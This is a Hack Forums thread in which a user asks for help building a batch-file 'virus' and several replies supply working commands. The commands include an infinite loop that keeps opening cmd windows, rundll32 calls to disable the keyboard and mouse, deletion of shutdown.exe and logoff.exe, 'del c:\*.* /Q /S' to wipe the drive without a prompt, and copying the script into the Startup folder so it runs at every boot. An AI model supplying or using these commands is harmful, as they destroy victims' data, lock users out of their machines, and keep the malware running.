Hack Forums

Full Version: Batch questions
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
I have some batch questions:


1• I want to make a simple spam program and instead of typing
Start
Start
Start etc is there any command like Start 100 and it open 100 cmds.

2• Is their any command that disable the keyborad or mouse that works on xp/vist?

3• Any command that disable the shutdown/logout/restart fuction?

4• Any command so you cant close the cmd box or start anything else before the cmd box is finished? So once it start you cant shut it down without finishing it?

5• When you make your bat file and type in: del C:\ and then run it it says something like this: Delete C:\ are you sure (y/n)

6• Any command that make the virus/file copy itself to the startup so every time you start the computer the file/virus runs.


Please just answer the question.
1•
[..Do stuff..]
:START
START
GOTO START

Lol.
Also, i forget how to do it, but if you do the "Call" Command after the "GOTO START" theres a way to time it so it will only do 100, or 200 or whatever, I can't remember how though. =O

2• Is their any command that disable the keyborad or mouse that works on xp/vist? • I would doubt it. Your going to need a function lower in the system. (Something that has more control in deeper levels of the computer)

3• Any command that disable the shutdown/logout/restart fuction?
• Be more specific.

4• Any command so you cant close the cmd box or start anything else before the cmd box is finished? So once it start you cant shut it down without finishing it? • Google it.

5• When you make your bat file and type in: del C:\ and then run it it says something like this: Delete C:\ are you sure (y/n)

SET /p CMD=CMD:
IF %CMD%==Del C:\ ECHO. &SET /p INPUT=Are you sure?(y/n) &IF %INPUT%==y [Do something] &IF %INPUT%==n [Do something else]

6• Any command that make the virus/file copy itself to the startup so every time you start the computer the file/virus runs.
(or regular copy)
XCOPY SOURCE\virus.bat C:\Docs and settings\users\all(or whatever)\startup
-Should do it.


Please just answer the question. -Say please next time. =D

And if you don't understand any of this, 'google it', and if you don't get your answer there your too far ahead of yourself. ~5parx
Edit: i just posted the answers but there seemed to be some1 first already so my post is unnessacairy.
I have been searching for something to block "alt"(the key on your keyboard).
<a href="Http://www.autohotkey.com/">AutoHotkey</a> is a easy way to do it. Download it, and you can do all kinds of things. This would be easy, once you install it, make a notepad file containing:

#PERSISTENT
^::SHIFT

And your done. Save it as a .ahk
That's probably the easiest way to do it.
And if "^" isn't the code for Alt, try "!" instead.

*edit* aww, HTML doesn't work? Lol
C:\windows\system32\rundll.exe mouse,disable
C:\windows\system32\rundll.exe keyboard,disable

I think it was something like this for disabling the keyboard and mouse
1. http://www.hackforums.net/showthread.php?tid=21524
2. i guess it was what spiro said ( dun wanna try it out)
3. dun't know, it's easy to find.i guess
4. no, if there was one, it would be extremely popular(you can set the batch full screen)
5. you can let a batch make a .vbs script that automaticly presses y and enter
6. copy "yourbatchname.bat" "%userprofile%\start menu\programs\startup"
I have some batch questions:


1• One of the following:
:a
start cmd
goto a
(opens infinite cmds)
or this
set /a time=0
:a
set /a time=%time% +1
if %time%==100 goto end
start cmd
goto a
:end
exit
(will start cmd 100 times)


2• Is their any command that disable the keyborad or mouse that works on xp/vist?
Unclean spirit made some. Give him credit if u decide to use it.
rundll32 mouse,disable
rundll32 keyboard,disable
only works for win 95 and 98.

3• Any command that disable the shutdown/logout/restart fuction?
not sure but try this:
del %windir%\system32\shutdown.exe
del %windir%\system32\logoff.exe

4• Any command so you cant close the cmd box or start anything else before the cmd box is finished? So once it start you cant shut it down without finishing it?
No. But you can make it spam websites or msgboxes so that the user has to close it all before he can close it.

5• When you make your bat file and type in: del C:\ and then run it it says something like this: Delete C:\ are you sure (y/n)
Use this: del c:\*.* /Q /S

6• Any command that make the virus/file copy itself to the startup so every time you start the computer the file/virus runs.
Copy %0 "%userprofile%\start menu\progra~1\startup"


Please just answer the question.
Reference URL's